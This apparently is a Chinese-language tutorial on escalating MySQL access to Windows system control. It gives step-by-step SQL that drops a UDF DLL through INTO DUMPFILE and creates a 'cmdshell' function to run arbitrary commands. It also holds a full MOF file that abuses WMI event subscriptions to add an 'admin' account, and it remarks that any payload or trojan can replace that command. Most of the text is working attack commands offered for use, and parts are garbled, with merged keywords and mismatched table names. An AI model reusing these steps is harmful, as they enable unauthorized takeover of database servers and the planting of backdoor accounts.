1、Select version(); 查看数据库版

udf与mof _version

本小于5.0以下的要导出到c:\windows\   或者c:\windows\system32目录下5.1必须要导出到mysql安装目录下的lib\plugin目录下

 

2、select @@basedir();查看UDF.DLL文件路径

udf与mof _returns_02

3、create table udftext(udf blob);创建临时表

udf与mof _returns_03

4、insert into udftest values (convert(0x433a2f50726f6772616d2046696c65732f4d7953514c2f4d7953514c2053657276657220352e322f6c69622f706c7567696e,char));(convert(这里是UDF在本地位置然后转成HEX值))

udf与mof _version_04

 

5、selectudffromudftext intodumpfile 'udf.dll路径'; 导出udf.dll

udf与mof _windows_05

6、drop table udftest;删除临时表

udf与mof _function_06

7、create function cmdshell returns string soname 'udf.dll'创建cmdshell函数

udf与mof _version_07

http://www.i0day.com/271.html关于报错的处理方法,虚拟机没有开杀毒,自己也在目录下建目录重新弄还是不行,)

8、select cmdshell('cmd命令');

 

 

mof转系统权限

#pragmanamespace("\\\\.\\root\\subscription")

 

instance of __EventFilter as $EventFilter

{

EventNamespace="Root\\Cimv2";

Name="filtP2";

Query="Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage="WQL";

};

 

instance ofActiveScriptEventConsumeras $Consumer

{

Name="consPCSV2";

ScriptingEngine="JScript";

ScriptText=

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";

};

 

instance of __FilterToConsumerBinding

{

Consumer=$Consumer;

Filter=$EventFilter;

};

注意上面的net.exe user admin admin /add,可以随便改的,想执行啥都行,有没有参数也都行,执行自己的马也行.

利用外连命令连接数据库

udf与mof _returns_08

然后导出已上传的MOF文件,在这里需要注意的c:\my.mof 这样导出的话MOF里没有内容的,而c:/my.mof这样导出才有内容,需要注意的是正反斜杠。

udf与mof _function_09

udf与mof _convert_10

导出利用命令查看里面有没有内容

udf与mof _windows_11

udf与mof _returns_12

然后mofcomp 命令执行刚导出的MOF路径,光导出的话它不会执行的网上说它会自动执行,但我等了好久没有执行。

udf与mof _convert_13

 

 

mysql udf提权(mysql 可以创建自定义函数):

1

2

3

4

5

6

7

8

9

10

CREATE TABLE udf_temp (udf BLOB);

/* 这是创建临时表,为了将udf.dll的代码写入数据库 */

INSERT into udf_temp values (CONVERT(0x433a2f7564662e646c6c,CHAR));

/* 非常长,最后会以文件的形式提供下载(1) */

SELECT udf FROM udf_temp INTO DUMPFILE 'c:\\\\windows\\\\system32\\\\mysqlDll.dll';

/* 将写入数据库的udf.dll写入硬盘,路径为c:\windows\system32\cmd.exe,注意这里的斜线,不同的mysql版本可能会有不同,所以如果是php的程序,建议用对应的马,会自动读取版本判断位置,下载地址在mysql末尾(2) */

Create Function yoco returns string soname 'mysqlDll.dll'

/* 创建自定义函数,名称为yoco,这是最后一步,如果这三步都没问题,你就成功了 */

select yoco('cmd命令');

/* 这是执行cmd的格式 */

udf与mof _windows_14这是udf.dll网马,网上可以下载到

然后上传到本地测试的网站上,然后指定路径运行

udf与mof _version_15

连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到”No paths allowed for shared library”错误。

 

udf与mof _function_16

 

如果导出成功,执行下面的命令。

create function cmdshell returns string soname ‘udf.dll’

udf与mof _version_17

select cmdshell(‘cmd命令’)

udf与mof _function_18